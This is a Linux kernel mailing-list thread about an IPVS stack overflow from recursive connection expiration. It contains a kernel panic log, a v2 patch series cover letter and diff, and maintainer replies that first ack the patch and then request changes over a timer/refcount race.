[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   66.791461]  ? __pfx_refcount_dec_if_one (??:?)
[   66.791461]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   66.791461]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? update_se (fair.c:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? pick_task_fair (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? preempt_schedule (??:?)
[   67.728355]  ? preempt_schedule_thunk (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   67.728355]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   67.728355]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   67.728355]  ? __pfx_refcount_dec_if_one (??:?)
[   68.308238]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.308238]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.308238]  ? __pfx_refcount_dec_if_one (??:?)
[   68.308238]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.308238]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.308238]  ? __pfx_refcount_dec_if_one (??:?)
[   68.308238]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? update_stack_state (unwind_frame.c:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.366482]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.366482]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.366482]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? fib6_del (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? read_hpet (hpet.c:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? _raw_spin_trylock (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? stack_trace_save (??:?)
[   68.763958]  ? ftrace_graph_ret_addr (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? update_stack_state (unwind_frame.c:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? __pfx_refcount_dec_if_one (??:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? ip_vs_conn_expire (ip_vs_conn.c:?)
[   68.763958]  ? __pfx_ip_vs_conn_expire (usercopy_64.c:?)
[   68.763958]  ? ip_vs_conn_del (ip_vs_conn.c:?)
[   68.763958]  ? ip_vs_conn_net_cleanup (??:?)
[   68.763958]  ? __ip_vs_cleanup_batch (ip_vs_core.c:?)
[   68.763958]  ? __pfx___ip_vs_cleanup_batch (usercopy_64.c:?)
[   68.763958]  ? ops_undo_list (net_namespace.c:?)
[   68.763958]  ? __pfx_ops_undo_list (usercopy_64.c:?)
[   68.763958]  ? idr_destroy (??:?)
[   68.763958]  ? _raw_spin_lock (??:?)
[   68.763958]  ? cleanup_net (net_namespace.c:?)
[   68.763958]  ? __pfx_cleanup_net (usercopy_64.c:?)
[   68.763958]  ? __switch_to (??:?)
[   68.763958]  ? kick_pool_pick (workqueue.c:?)
[   68.763958]  ? __schedule (core.c:?)
[   68.763958]  ? process_scheduled_works (workqueue.c:?)
[   68.763958]  ? __pfx_process_scheduled_works (usercopy_64.c:?)
[   68.763958]  ? __pfx_cleanup_net (usercopy_64.c:?)
[   68.763958]  ? assign_work (workqueue.c:?)
[   68.763958]  ? worker_thread (workqueue.c:?)
[   68.763958]  ? __pfx_worker_thread (usercopy_64.c:?)
[   68.763958]  ? kthread (kthread.c:?)
[   68.763958]  ? __pfx_kthread (usercopy_64.c:?)
[   68.763958]  ? ret_from_fork (??:?)
[   68.763958]  ? __pfx_ret_from_fork (??:?)
[   68.763958]  ? native_load_tls (paravirt.c:?)
[   68.763958]  ? native_load_gs_index (paravirt.c:?)
[   68.763958]  ? __switch_to (??:?)
[   68.763958]  ? __pfx_kthread (usercopy_64.c:?)
[   68.763958]  ? ret_from_fork_asm (??:?)
[   68.763958]  </TASK>
[   68.763958] Modules linked in:
[   68.763958] ---[ end trace 0000000000000000 ]---
[   68.763958] RIP: 0010:_raw_spin_lock_irqsave (??:?)
[   68.763958] Code: 0f 1f 44 00 00 48 b8 00 00 00 00 00 fc ff df 55 48 89 e5 41 55 41 54 49 89 fc 53 48 8d 5d 88 48 c1 eb 03 48 01 d8 48 83 ec 60 <48> c7 45 88 b3 8a b5 41 48 c7 45 90 52 b6 6a 85 48 c7 45 98 e0 f2

All code
========
0: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
5: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
c: fc ff df

   f:	55                   	push   %rbp
  10:	48 89 e5             	mov    %rsp,%rbp
  13:	41 55                	push   %r13
  15:	41 54                	push   %r12
  17:	49 89 fc             	mov    %rdi,%r12
  1a:	53                   	push   %rbx
  1b:	48 8d 5d 88          	lea    -0x78(%rbp),%rbx
  1f:	48 c1 eb 03          	shr    $0x3,%rbx
  23:	48 01 d8             	add    %rbx,%rax
  26:	48 83 ec 60          	sub    $0x60,%rsp
  2a:*	48 c7 45 88 b3 8a b5 	movq   $0x41b58ab3,-0x78(%rbp)		<-- trapping instruction
  31:	41 
  32:	48 c7 45 90 52 b6 6a 	movq   $0xffffffff856ab652,-0x70(%rbp)
  39:	85 
  3a:	48                   	rex.W
  3b:	c7                   	.byte 0xc7
  3c:	45 98                	rex.RB cwtl 
  3e:	e0 f2                	loopne 0x32

Code starting with the faulting instruction
===========================================
0: 48 c7 45 88 b3 8a b5 movq $0x41b58ab3,-0x78(%rbp)
7: 41
8: 48 c7 45 90 52 b6 6a movq $0xffffffff856ab652,-0x70(%rbp)
f: 85

  10:	48                   	rex.W
  11:	c7                   	.byte 0xc7
  12:	45 98                	rex.RB cwtl 
  14:	e0 f2                	loopne 0x8
[   68.763958] RSP: 0018:ffffc900008d7fc0 EFLAGS: 00000286
[   68.763958] RAX: fffff5200011aff8 RBX: 1ffff9200011aff8 RCX: dffffc0000000000
[   68.763958] RDX: 1ffffffff0b02a1c RSI: ffffc900008d80c0 RDI: ffff88806ce2f440
[   68.763958] RBP: ffffc900008d8038 R08: 1ffff11002d4aa47 R09: ffffed1002d4aa48
[   68.763958] R10: ffffed1002d4aa47 R11: ffff888016a5523b R12: ffff88806ce2f440
[   68.763958] R13: ffff888016a552c0 R14: ffffed1002d4aa5c R15: 0000000000001280
[   68.763958] FS:  0000000000000000(0000) GS:ffff8880e57b9000(0000) knlGS:0000000000000000
[   68.763958] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   68.763958] CR2: ffffc900008d7fb8 CR3: 0000000005aa8000 CR4: 00000000000006f0
[   68.763958] Kernel panic - not syncing: Fatal exception in interrupt
[   68.763958] Kernel Offset: disabled
[   68.763958] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---

-----END crash log-----

changes in v2:
- Use a repeat path for controller cleanup so expiration stays synchronous without recursive calls or extra timer ticks.
- Extend the FTP-helper fix to active mode by rejecting the data port derived from a configured control port.
- Replace the reproducer and crash evidence with the original passive shell/Python PoC and the decoded stack-guard-page log from the a401 baseline.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/

Best regards,
Zihan Xi
Zihan Xi (2):
ipvs: avoid stack overflow from recursive connection expiration
ipvs: reject FTP control ports as data ports

 net/netfilter/ipvs/ip_vs_conn.c | 17 ++++++++++++-----
 net/netfilter/ipvs/ip_vs_ftp.c  | 18 ++++++++++++++++++
 2 files changed, 30 insertions(+), 5 deletions(-)
Signature · 1 line
2.43.0
author
#1 lore raw

PATCH v2 1/2 ipvs: avoid stack overflow from recursive connection expiration

When a controlled IPVS connection expires, its controller may be expired synchronously if it has no remaining controlled connections. A chain of controlled connections can then cause recursive calls to ip_vs_conn_expire() and exhaust the kernel stack during namespace cleanup.

Make ip_vs_conn_del_put() report whether it deleted the controller timer. When it succeeds, continue expiration with the controller instead of calling ip_vs_conn_expire() recursively. This keeps chain cleanup synchronous while using one stack frame for the whole chain.

Fixes f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Assisted-by LLM

---
changes in v2:
- Use a repeat path for controller cleanup so expiration stays synchronous without recursive calls or extra timer ticks.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_conn.c | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)
net/netfilter/ipvs/ip_vs_conn.c +12 -5
index 6fa3e1dc534c3..c7b88ce1765dc 100644
@@ -1331,17 +1331,18 @@ static void ip_vs_conn_del(struct ip_vs_conn *cp)
 }
 
 /* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
+static bool ip_vs_conn_del_put(struct ip_vs_conn *cp)
 {
 	if (timer_delete(&cp->timer)) {
 		/* Drop cp->control chain too */
 		if (cp->control)
 			cp->timeout = 0;
 		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
+		return true;
 	}
+
+	__ip_vs_conn_put(cp);
+	return false;
 }
 
 static void ip_vs_conn_expire(struct timer_list *t)
@@ -1349,6 +1350,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1358,6 +1360,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* delete the timer if it is activated by other users */
 		timer_delete(&cp->timer);
@@ -1372,7 +1375,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
+				next = ip_vs_conn_del_put(ct);
 			} else if (has_ref) {
 				__ip_vs_conn_put(ct);
 			}
@@ -1402,6 +1405,10 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
+		if (next) {
+			cp = ct;
+			goto repeat;
+		}
 		return;
 	}
 
Signature · 1 line
2.43.0
maintainer Acked-by on v2 1/2
#2 lore raw

Hello,

Quoted 10 lines · Zihan Xi

When a controlled IPVS connection expires, its controller may be expired synchronously if it has no remaining controlled connections. A chain of controlled connections can then cause recursive calls to ip_vs_conn_expire() and exhaust the kernel stack during namespace cleanup.

Make ip_vs_conn_del_put() report whether it deleted the controller timer. When it succeeds, continue expiration with the controller instead of calling ip_vs_conn_expire() recursively. This keeps chain cleanup synchronous while using one stack frame for the whole chain.

Quoted 7 lines
Fixes f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Assisted-by LLM

Patch looks good to me for the nf tree, thanks!

Next time use "nf"/"nf-next" tag for the IPVS patches.

Quoted 75 lines

---
changes in v2:
- Use a repeat path for controller cleanup so expiration stays synchronous without recursive calls or extra timer ticks.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_conn.c | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)
net/netfilter/ipvs/ip_vs_conn.c +12 -5
index 6fa3e1dc534c3..c7b88ce1765dc 100644
@@ -1331,17 +1331,18 @@ static void ip_vs_conn_del(struct ip_vs_conn *cp)
 }
 
 /* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
+static bool ip_vs_conn_del_put(struct ip_vs_conn *cp)
 {
 	if (timer_delete(&cp->timer)) {
 		/* Drop cp->control chain too */
 		if (cp->control)
 			cp->timeout = 0;
 		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
+		return true;
 	}
+
+	__ip_vs_conn_put(cp);
+	return false;
 }
 
 static void ip_vs_conn_expire(struct timer_list *t)
@@ -1349,6 +1350,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1358,6 +1360,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* delete the timer if it is activated by other users */
 		timer_delete(&cp->timer);
@@ -1372,7 +1375,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
+				next = ip_vs_conn_del_put(ct);
 			} else if (has_ref) {
 				__ip_vs_conn_put(ct);
 			}
@@ -1402,6 +1405,10 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
+		if (next) {
+			cp = ct;
+			goto repeat;
+		}
 		return;
 	}
 
Signature · 1 line
2.43.0

Regards

--
Julian Anastasov <[email protected]>

maintainer
#3 lore raw

Hello,

Quoted 20 lines · Julian Anastasov
Quoted 10 lines · Zihan Xi

When a controlled IPVS connection expires, its controller may be expired synchronously if it has no remaining controlled connections. A chain of controlled connections can then cause recursive calls to ip_vs_conn_expire() and exhaust the kernel stack during namespace cleanup.

Make ip_vs_conn_del_put() report whether it deleted the controller timer. When it succeeds, continue expiration with the controller instead of calling ip_vs_conn_expire() recursively. This keeps chain cleanup synchronous while using one stack frame for the whole chain.

Quoted 7 lines
Fixes f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Assisted-by LLM
Quoted 3 lines

Patch looks good to me for the nf tree, thanks!

In fact, Sashiko detects problem with connections
that are deleted and traffic that can restart the timer and its callback deleteing the connection:

https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai

Events are in this order:

CPU 1 CPU 2
timer_delete,
refcnt is 1
find conn, get refcnt mod_timer, put refcnt => 1

run timer callback
and expire the conn,
refcnt=0

touching cp->control is
safe under RCU,
but we mod_timer
with refcnt=0

The problem is that the timer callback runs without
conn reference and not under RCU lock. OTOH, we delete the connection only under RCU read lock and can take measures if the callback removed the connection before us.

Dropping conns only via timer callback is something we try
to avoid, we have to rethink this change.

pw-bot: changes-requested

Quoted 75 lines

Next time use "nf"/"nf-next" tag for the IPVS patches.

Quoted 73 lines

---
changes in v2:
- Use a repeat path for controller cleanup so expiration stays synchronous without recursive calls or extra timer ticks.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_conn.c | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)
